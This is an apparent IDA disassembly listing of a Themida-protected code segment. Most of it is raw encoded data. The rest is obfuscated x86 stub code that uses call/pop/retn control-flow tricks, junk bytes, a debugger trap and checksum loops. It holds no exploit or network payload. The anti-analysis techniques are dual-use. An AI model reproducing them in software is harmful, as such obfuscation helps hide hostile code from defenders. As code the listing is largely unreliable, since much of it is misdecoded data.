		dd 13AF42F6h, 0C56A6452h, 0BD8B4A70h, 61400CDh,	14E8h
		dd 59547500h, 0C1FEDB10h, 10CF0EC2h, 3AF11531h,	77075D93h
		dd 5BF98AF5h, 1B1995FFh, 0E9600614h, 9,	0C3600A0Ah, 9EFAA4D1h
		dd 8D8D610Fh, 617A778h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 82C35040h, 8B558659h,	1412ED9Dh, 31D1FF06h
		dd 14160DB5h, 0CDBD8306h, 1061401h, 69850Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 8250F9C3h, 4A74CB60h, 8B0FBB42h, 3, 6ADEB70Fh, 0FAB70F02h
		dd 33B5BB50h, 4896CCBh,	13E824h, 0E6640000h, 0DA6AB3EDh
		dd 0A56B1210h, 2D0F671Bh, 5D3DFC38h, 0F8BF0F01h, 85BD8B5Bh
		dd 0FF061404h, 1433AD95h, 359D8906h, 0E9061419h, 0DE4h
		dd 0E8h, 0ED815D00h, 6185909h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0E0C35242h,	0C074CB6h, 8D31D39Fh
		dd 614151Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	0BDC35646h, 53568A8Bh, 8E49858Dh, 6A0617h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 3FC36C3h, 0A4658D07h, 0E976390Eh, 12h, 5E1664BEh, 47397114h
		dd 3DF268B8h, 50FFD0A3h, 8B50B5A8h, 240489DEh, 64FB8B66h
		dd 35FFh, 89640000h, 25h, 7E900h, 0EF990000h, 4B9916B9h
		dd 0ED85FF6Eh, 0F06142Dh, 1880h, 0CE800h, 0CBC50000h, 0B6272BDBh
		dd 0E858B449h, 8F0F1165h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		push	0FFFFFFFFh
		pusha
		movzx	ecx, ax
		xor	al, 52h
		popa
		push	dword ptr [ebp+614129Dh]
		mov	di, ax
		call	dword ptr [ebp+6142A89h]
		jmp	loc_5C36C6
; ---------------------------------------------------------------------------
		db 8Bh
		dd 141A1DBDh, 2300B006h, 143425BDh, 0B370E606h,	3C71E46Dh
		dd 0F830F61h, 81000001h, 3E9817CBh, 0B60FF503h,	0C19D8BC8h
		dd 0BA06141Fh, 6, 0F9FBB70Fh, 9589C18Bh, 6140F55h, 88DBD8Bh
		dd 0E8C10614h, 659D8B04h, 66061431h, 0F99CD381h, 0E8E2F766h
		dd 5, 389C0A7Eh, 0CE9B5h, 0BF870000h, 1105A769h, 0A7D144A3h
		dd 8B5BD8BDh, 1401699Dh, 89C82B06h, 141EF98Dh, 10E806h
		dd 12F00000h, 1A67000Bh, 0C4D614A5h, 836DE194h,	81664EF7h
		dd 5F7FD5D3h, 0E9F8D18Bh, 6, 1D519589h,	858B0614h, 61425B5h
		dd 0F07C083h, 280h, 8331B300h, 0BF6600C0h, 81665CF6h, 3B9F20E7h
		dd 17830FD0h, 0F000000h, 688h, 69950900h, 0E9061402h, 4Eh
		dd 0D819D2Bh, 8D8B0614h, 6141C69h, 1E183F8h, 38840Fh, 8C0F0000h
		dd 6, 0A4DB589h, 0A5830614h, 6141C69h, 880F60FEh, 6, 3195B58Bh
		dd 95330614h, 61406E1h,	0B5958961h, 89061425h, 14137195h
		dd 0E906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5C36C6:				; CODE XREF: Themida_:005C3596j
		lea	esi, [ebp+617D779h]
		mov	[ebp+6140245h],	esi
		push	0
		push	0
		push	esi
		call	sub_5C36DF
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C36DF	proc near		; CODE XREF: Themida_:005C36D7p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5C36DF	endp

; ---------------------------------------------------------------------------
		fiadd	dword ptr [ecx]
		int	3		; Trap to Debugger
		mov	al, [ecx-7Bh]
		jl	short near ptr loc_5C36FF+1
		imul	ebx, [ecx], 0A75BD8Bh
		adc	al, 6


loc_5C36FF:				; CODE XREF: Themida_:005C36F5j
		mov	[ebp+6141E9Dh],	edi
		mov	ebx, [ebp+6140805h]
		call	dword ptr [ebp+6142971h]
		movzx	edi, dx
		mov	ecx, 83Ch
		push	0
		push	edx
		call	sub_5C3724
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3724	proc near		; CODE XREF: Themida_:005C371Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5C3724	endp

; ---------------------------------------------------------------------------
		dd 162904E4h, 0EDE97309h, 83DE8BACh, 0BB66FCE1h, 0BD8B560Eh
		dd 6141935h, 57006AFCh,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 6637247h,	0EB699B99h, 0B8F88B66h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5C3783
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3783	proc near		; CODE XREF: Themida_:005C377Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5C3783	endp

; ---------------------------------------------------------------------------
		test	byte ptr [edx],	0C8h
		and	edi, [edi+14575E50h]
		mov	ebx, [ebp+6142609h]
		mov	edx, 0
		push	0
		push	ebx
		call	sub_5C37B2
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C37B2	proc near		; CODE XREF: Themida_:005C37AAp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5C37B2	endp

; ---------------------------------------------------------------------------
		and	eax, 892D5339h
		lea	ebx, [ecx+33061416h]
		popf
		pop	ecx
		add	al, 14h
		push	es


loc_5C37D2:				; CODE XREF: Themida_:005C37DCj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5C37D2
		push	0
		push	eax
		call	sub_5C37E9
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C37E9	proc near		; CODE XREF: Themida_:005C37E1p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5C37E9	endp

; ---------------------------------------------------------------------------
		db 4Ch,	0Fh, 0BFh
		dd 0BE9D8h, 0B3090000h,	14D8A7C6h, 7E523D5Bh, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0DF43AD9Eh, 0EE8E7539h, 0FD8D0914h, 0D06140Fh, 88h
		dd 0EE8h, 0AAA10200h, 0D4E81108h, 4B693B5Ch, 1CDAE9Eh
		dd 1404819Dh, 958B5B06h, 6142B69h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 5FC35040h, 8D8BCE6Ah, 6141055h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 9AC35545h
		dd 0B05A33EBh, 0F37EDB90h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 6A81C3h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0B15B98C3h, 1D6213BFh
		dd 9D8BB9A7h, 61433F1h,	0F4DBD83h, 0F000614h, 6384h, 9CBF6600h
		dd 0B8D4h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0A4D91EC3h, 8A0F0542h, 7, 0FAB70F60h
		dd 8D615A57h, 144DFF8Dh, 2DB8006h, 6AE1FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0F60E0BC3h
		dd 0DFB3CE39h, 13DBD83h, 0F000614h, 42C84h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 6A6D1EC6h, 0B7CB23B4h, 3DBD83B9h, 1061401h, 416840Fh
		dd 0BD830000h, 614013Dh, 0D3860F03h, 6A000003h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0B91BC351h, 9D3317EAh, 6141E79h, 56006A60h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 77C35E3Fh
		dd 0D890FC1h, 0E9000000h, 8, 7386CF54h,	0B5ACFF7Ch, 1059BD8Bh
		dd 8C660614h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0E91D0418h, 16DEAAE7h, 0B70F1F60h
		dd 4E180DBh, 9435D381h,	0C90A00DEh, 14A840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 449479C3h, 0B5B52970h, 50061409h, 0F6F38166h, 858B5B96h
		dd 6140E35h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	0B7C35141h, 0B25E8C46h,	7D447F7Bh, 0F098D09h, 85330614h
		dd 61406A9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	1AC35242h, 7FDC06ACh, 6060833Fh, 0F50FF180h, 0E7BF6661h
		dd 669061D9h, 0E950D98Bh, 6, 7B00CFFEh,	0F905495h, 683h
		dd 0BD9D8B00h, 0F9061417h, 0DE9006Ah, 81000000h, 0FA8654FCh
		dd 431B4108h, 5AF32EEDh, 5FBDE868h, 7E9A1h, 4A0000h, 6A8BDD6Ch
		dd 24048162h, 5EBF4617h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 15h, 0D5C35242h, 0F38166ADh, 95FF2CD4h, 614089Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0B7C35747h
		dd 968BD9BFh, 0E9FC2CD9h, 11h, 0BA8E8909h, 0DEFAE468h
		dd 9D50BA26h, 0F685232Eh, 0EA858986h, 660617A7h, 0E95737BFh
		dd 163h, 0A7E2858Bh, 9D8B0617h,	6141EEDh, 1800C7h, 0F5F90000h
		dd 0A7E6B58Bh, 6A0617h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 17E6FEC3h, 7E265A71h, 858B7990h
		dd 6140281h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	2AC35040h, 0A4C0589Ch, 198DBD29h, 0BD8B0614h, 6140169h
		dd 0D359D0Bh, 6890614h,	8BD8B70Fh, 140E3585h, 42BB6606h
		dd 44689B4h, 1E91BD89h,	0ABB70614h, 24348950h, 51CF8166h
		dd 51BD8B99h, 0FF06142Dh, 17A7E2B5h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 4E891BAh, 0FF000000h
		dd 50001F03h, 0F8FCBB52h, 310F56B6h, 585A48B7h,	0F8C0F50h
		dd 0E8000000h, 7, 0B8765D90h, 51097EB1h, 448B5B5Bh, 8B0424h
		dd 4489FA8Bh, 0BB660424h, 8B5868F6h, 140A5D9Dh,	0EA858D06h
		dd 6A0617A7h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0D03FC352h, 8930C95Bh,	14316DBDh
		dd 8B669006h, 0F88B50DFh, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0C23F3836h
		dd 0DF8B3F2Ch, 89D95FFh, 61F50614h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 5FC35242h, 0BB839143h, 956A9457h
		dd 3D85C7ADh, 3061401h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 6A9DC352h
		dd 0EABD8304h, 617A7h, 30840Fh,	8D290000h, 6140BE9h, 0E9D9BF0Fh
		dd 3Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah
		dd 0ECC35747h, 607D6EA7h, 3050F33Ch, 4400110Ch,	0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 56006AC0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 110AA538h
		dd 960607Ah, 142575BDh,	0CF816606h, 3361A466h, 14302DB5h
		dd 66506106h, 5FFCCCBBh, 13DBD83h, 0F030614h, 42985h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 2DB54F57h, 832BF7B6h, 17A7EABDh, 840F0006h, 3FAh, 0A7EAB5FFh
		dd 6A0617h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 6EC901C3h, 0E90E6FAFh, 11h, 5C87CEE4h, 8040B67Ch
		dd 8F5D0B95h, 95945850h, 13E8B7h, 88A60000h, 2BCAB14Ch
		dd 6258DE94h, 0E1491DA4h, 0B1B0A188h, 0E99529E6h, 5B061407h
		dd 33995FFh, 0BE90614h,	94000000h, 0A5C996BBh, 0AD206501h
		dd 12E88465h, 9C000000h, 1A31CF95h, 5B76BE4Fh, 0BBC2FCE7h
		dd 28F235F4h, 419D2B75h, 5F061407h, 0A7DEB58Bh,	0C7F50617h
		dd 1000106h, 0EE99600h,	0B4000000h, 0A6017478h,	4C2C0919h
		dd 70582CB5h, 0CEBB50E7h, 9654FA4Eh, 32D38166h,	0EAB5FF65h
		dd 6A0617A7h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 67C9C355h, 852B609Dh, 6141E29h
		dd 0FC61D98Bh, 108195FFh, 6A0614h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 55203DC3h, 8977EE03h
		dd 1425D585h, 0DEB58B06h, 810617A7h, 953509EBh,	0F9858B4Ah
		dd 6A06140Fh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 890CC350h, 0C486h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 958BDC55h, 6142B69h,	4C283F5h, 33E59D8Bh, 50890614h
		dd 0AE920h, 96550000h, 0DD41733h, 0B1DDE93h, 0BC23858Dh
		dd 0BB660617h, 8689D1C1h, 0B8h,	6AFE8Bh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 5AC35242h, 15B99D8Bh
		dd 0B5FF0614h, 617A7EAh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 37C35343h, 98A2FFAh, 140EF5B5h, 29BD8B06h
		dd 0FF06140Ch, 1433AD95h, 890F5706h, 17h, 11E8h, 0D7CD5600h
		dd 0B5B131F4h, 39D1DE7Fh, 30AD4D67h, 5F5BDEDBh,	96F9BF0Fh
		dd 14E8h, 5533BC00h, 5428CBD4h,	0DD2FA3C2h, 693759Ch, 0E0D5E449h
		dd 0B2BF66F7h, 0BF505FBAh, 5B50CBCDh, 0EAB5FF96h, 6A0617A7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 4FB5C355h, 465BD8Bh, 95FF0614h, 6142309h
		dd 0E19EF781h, 0BD830586h, 6141189h, 28840F00h,	0E9000000h
		dd 6, 82F25739h, 609674BAh, 5061C58Ah, 11E996h,	0D5CD0000h
		dd 8F679BDFh, 7A86D45Ah, 32A2CE59h, 0FF1535A9h,	17A7EAB5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 2A84D510h, 8509D58Eh, 6140DD9h, 2D595FFh
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0A5ACDC3h, 51BD8950h, 0E8061413h,	0Ch, 0F77213CFh
		dd 2AFD9647h, 0E1A6190Dh, 6D87E1BFh, 0B5FF5F20h, 617A7EAh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0E8C35545h
		dd 7595FFB0h, 0E806140Bh, 10h, 49AD3C7Ah, 3527C051h, 0FA94E743h
		dd 60BFC8EEh, 2E299D89h, 665B0614h, 8334B0BBh, 14112DBDh
		dd 840F0206h, 74h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0EDC35141h, 76D44A1Eh, 8B43BFE1h, 14005585h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0F6E35487h, 0C684h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 2FC35747h, 0E01EE3BCh, 0BD8B61B7h
		dd 6142A09h, 1E4985C7h,	614h, 9D8B0000h, 6140285h, 2E0D9589h
		dd 2AE90614h, 66FFFFF3h, 8BA1ABBFh, 57006AC1h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0FBA3FA0h
		dd 96F91446h, 0ED858950h, 5F06140Bh, 791858Dh, 0BB660614h
		dd 0BB90FF4Dh, 58DBBE82h, 7040BB50h, 0E99005EEh, 0Dh, 5798E8F5h
		dd 5E7ACDCBh, 983D9990h, 6830F92h, 0F000000h, 8Ah, 6A006A00h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 3944C357h, 6D9AC61Ch, 0D99D0952h,	5B061401h
		dd 10E9h, 4C6DE000h, 0B7BAEE4h,	393204Bh, 9ADBECCCh, 6A006A60h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 8D8AC355h, 5665CCAAh, 8D5BF88Bh, 18695C85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 14E9D699h, 18000000h, 0A3F4F9D2h, 0EED422B9h
		dd 187EDE82h, 696939EBh, 832838B9h, 6A05C0h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 9727F2C3h
		dd 816694C9h, 8B8A73DBh, 14071DBDh, 830F9006h, 17h, 0EE8h
		dd 7CCE4B00h, 626E7288h, 8125D36Ah, 6655D637h, 505BF88Bh
		dd 7F01BB66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 6DF6DA48h, 7CE38012h, 6A006Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 1FB96C3h, 0BB82CDE3h, 0AE9B4h, 4BD60000h, 2BFB300Dh
		dd 8B8D2507h, 8B006AF9h, 1995FFFBh, 6A06141Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 9973C350h, 0A659E2CEh, 9E9E6A1h, 5E000000h, 2D31D8BAh
		dd 968E6DFAh, 0A7788D8Dh, 0D98B0617h, 8166D1FFh, 8BDD87D7h
		dd 1406719Dh, 0CDBD8306h, 1061401h, 96850Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0AD1F1DC3h, 6A026Ah,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 8B8CE8C3h, 1433E59Dh, 53CB8106h
		dd 89579510h, 1417CDBDh, 0FE85006h, 0A3000000h,	4CCFFAD7h
		dd 3E56BFCEh, 0F9581BE8h, 0DA8A9A12h, 2404895Fh, 12E860h
		dd 0BC600000h, 5DA888A2h, 8266115Eh, 0DC4D84A6h, 2700CBECh
		dd 17FD9D09h, 8A5E0614h, 95FF61E6h, 61433ADh, 0A810BF66h
		dd 0D9EE9h, 0E800h, 815D0000h, 186966EDh, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 3EFEAEF1h, 0B6FD8AC0h, 95893487h, 6140D69h, 0EE9h, 4E586A00h
		dd 78410BCh, 3BEE3F34h,	2B8E36A3h, 1412ED9Dh, 49858D06h
		dd 6A06178Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 782EC357h, 0FE854DEh, 383h, 0F98B6600h
		dd 11E850h, 0A5D0000h, 0CD1DBB9h, 7F4C0E01h, 8F25392Fh
		dd 667F0828h, 5B0CE2BBh, 66240489h, 64B8B6BBh, 35FFh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 7CF7F1C3h, 0D3818703h, 3718F1FFh, 258964h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 1558C356h, 0ED3DCC42h, 851EEEB8h,	0FC4CB80h
		dd 582h, 3193BF00h, 85FF22D3h, 6142DEDh, 3820Fh, 8B660000h
		dd 0E9FF6ADFh, 12h, 84AD59BBh, 6ECCA542h, 101E5394h, 2923B216h
		dd 0B5FFC68Bh, 6141D11h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0CEC35545h, 915B3892h, 0A5BD8BEBh, 106142Fh
		dd 143119BDh, 8995FF06h, 0E906142Ah, 104h, 0F6BBF66h, 22DBD8Bh
		dd 0B00614h, 0E7DFEF81h, 0BF663A32h, 70E65D87h,	5FDE8B53h
		dd 0E6B771E4h, 830F613Ch, 0DCh,	15BDBD8Bh, 0B60F0614h
		dd 68A0FC8h, 8B000000h,	140F51BDh, 6BA06h, 0BD8B0000h
		dd 6141E65h, 9D89C18Bh,	6140C89h, 8904E8C1h, 14259585h
		dd 0E2F76606h, 8BF8C82Bh, 8D8B60D1h, 6140F55h, 0E961E28Ah
		dd 0
; ---------------------------------------------------------------------------
		mov	eax, [ebp+61407DDh]
		add	[ebp+6142355h],	esi
		add	eax, 7
		add	eax, 0
		jmp	loc_5C46FC
; ---------------------------------------------------------------------------
		db 0C7h
		dd 701A386Bh, 6FC8BE49h
; ---------------------------------------------------------------------------


loc_5C46FC:				; CODE XREF: Themida_:005C46EEj
		cmp	edx, eax
		jnb	loc_5C471E
		jmp	loc_5C4717
; ---------------------------------------------------------------------------
		db 9Ah,	26h, 3Eh
		dd 7F8229B8h, 5F2E4145h
		db 2Ch,	0CAh, 0D8h
; ---------------------------------------------------------------------------


loc_5C4717:				; CODE XREF: Themida_:005C4704j
		jmp	loc_5C4770
; ---------------------------------------------------------------------------
		mov	bl, 1Fh


loc_5C471E:				; CODE XREF: Themida_:005C46FEj
		mov	ecx, [ebp+61420ADh]
		add	di, 767Ah
		and	ecx, 1
		jz	loc_5C4770
		mov	[ebp+61403F1h],	eax
		and	dword ptr [ebp+61420ADh], 0FFFFFFFEh
		jmp	loc_5C4749
; ---------------------------------------------------------------------------
		dd 5155DEDBh
		db 0B4h
; ---------------------------------------------------------------------------


loc_5C4749:				; CODE XREF: Themida_:005C473Fj
		mov	[ebp+61407DDh],	edx
		jmp	loc_5C4768
; ---------------------------------------------------------------------------
		dd 0F32BE720h, 0AA4ACC41h, 0B9D33E63h, 72C4E4F2h, 37B66D52h
; ---------------------------------------------------------------------------


loc_5C4768:				; CODE XREF: Themida_:005C474Fj
		movzx	edi, dx
		jmp	$+5


loc_5C4770:				; CODE XREF: Themida_:loc_5C4717j
					; Themida_:005C472Cj
		lea	esi, [ebp+617E17Dh]
		push	0
		push	eax
		call	sub_5C4781
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4781	proc near		; CODE XREF: Themida_:005C4779p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh


loc_5C478E:				; CODE XREF: Themida_:005C47B8j
		inc	eax
		push	eax
		retn
sub_5C4781	endp

; ---------------------------------------------------------------------------
		db 49h,	63h, 0E7h
; ---------------------------------------------------------------------------
		jz	short loc_5C480C
		inc	ecx
		stc
		mov	ecx, 6A006Ah
		push	eax
		call	sub_5C47A6
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C47A6	proc near		; CODE XREF: Themida_:005C479Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5C47A6	endp

; ---------------------------------------------------------------------------
		dw 7CE6h
; ---------------------------------------------------------------------------
		loopne	loc_5C478E
		adc	al, 0E7h
		mov	edi, [ebp+6142561h]
		call	dword ptr [ebp+6142971h]
		mov	ebx, [ebp+61409ADh]
		mov	ecx, 861h
		push	0
		push	ecx
		call	sub_5C47DE
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C47DE	proc near		; CODE XREF: Themida_:005C47D6p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5C47DE	endp

; ---------------------------------------------------------------------------
		cmpsb
		mov	edi, 0E183E6BEh
		cld
		mov	[ebp+6140D79h],	ebx
		cld
		push	0
		push	ecx
		call	sub_5C4807
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4807	proc near		; CODE XREF: Themida_:005C47FFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx


loc_5C480C:				; CODE XREF: Themida_:005C4794j
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5C4807	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ss
		mov	edi, [ebp+6141AC1h]
		mov	eax, 0
		push	0
		push	edx
		call	sub_5C482E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C482E	proc near		; CODE XREF: Themida_:005C4826p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5C482E	endp

; ---------------------------------------------------------------------------
		dw 0DB4Ch
; ---------------------------------------------------------------------------
		mov	edx, 881E7B33h
		jmp	loc_5C485D
; ---------------------------------------------------------------------------
		dw 836Ch
		dd 5EC337E4h, 0F51DEFFh, 0E2C96D77h, 0AE147D7Ah
		db 2Bh
; ---------------------------------------------------------------------------


loc_5C485D:				; CODE XREF: Themida_:005C4845j
		cld
		mov	edx, 0
		mov	[ebp+6140E21h],	ebx


loc_5C4869:				; CODE XREF: Themida_:005C4873j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5C4869
		push	0
		push	edi
		call	sub_5C4880
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4880	proc near		; CODE XREF: Themida_:005C4878p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5C4880	endp

; ---------------------------------------------------------------------------
		adc	esi, edi
		aas
		dec	eax
		pop	es
		cmp	dh, dh
		mov	[ebp+6141D09h],	edi
		mov	edi, [ebp+61430D5h]
		ja	loc_5C48AF
		mov	[ebp+61417DDh],	edx


loc_5C48AF:				; CODE XREF: Themida_:005C48A3j
		jmp	loc_5C48C3
; ---------------------------------------------------------------------------
		dd 26CFF4A5h, 917E8919h, 0A4461F30h
; ---------------------------------------------------------------------------
		jno	short loc_5C48EB
		stc


loc_5C48C3:				; CODE XREF: Themida_:loc_5C48AFj
		or	eax, 88h
		push	0
		push	ecx
		call	sub_5C48D3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C48D3	proc near		; CODE XREF: Themida_:005C48CBp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5C48D3	endp

; ---------------------------------------------------------------------------
		mov	cl, 37h
		xchg	ch, [ebx]
		pusha
		ficomp	dword ptr [esi]
		pop	ecx


loc_5C48EB:				; CODE XREF: Themida_:005C48C0j
		push	78h
		mov	edi, [ebp+61420B9h]
		mov	edx, [ebp+6142B69h]
		push	0
		push	ecx
		call	sub_5C4904
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4904	proc near		; CODE XREF: Themida_:005C48FCp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5C4904	endp

; ---------------------------------------------------------------------------
		movsd
		xor	[eax], edx
		and	eax, [edi-0Eh]
		adc	al, ds:8D8B5FDEh
		push	ebp
		adc	[esi+eax], dl
		push	0
		push	esi
		call	sub_5C492F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C492F	proc near		; CODE XREF: Themida_:005C4927p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
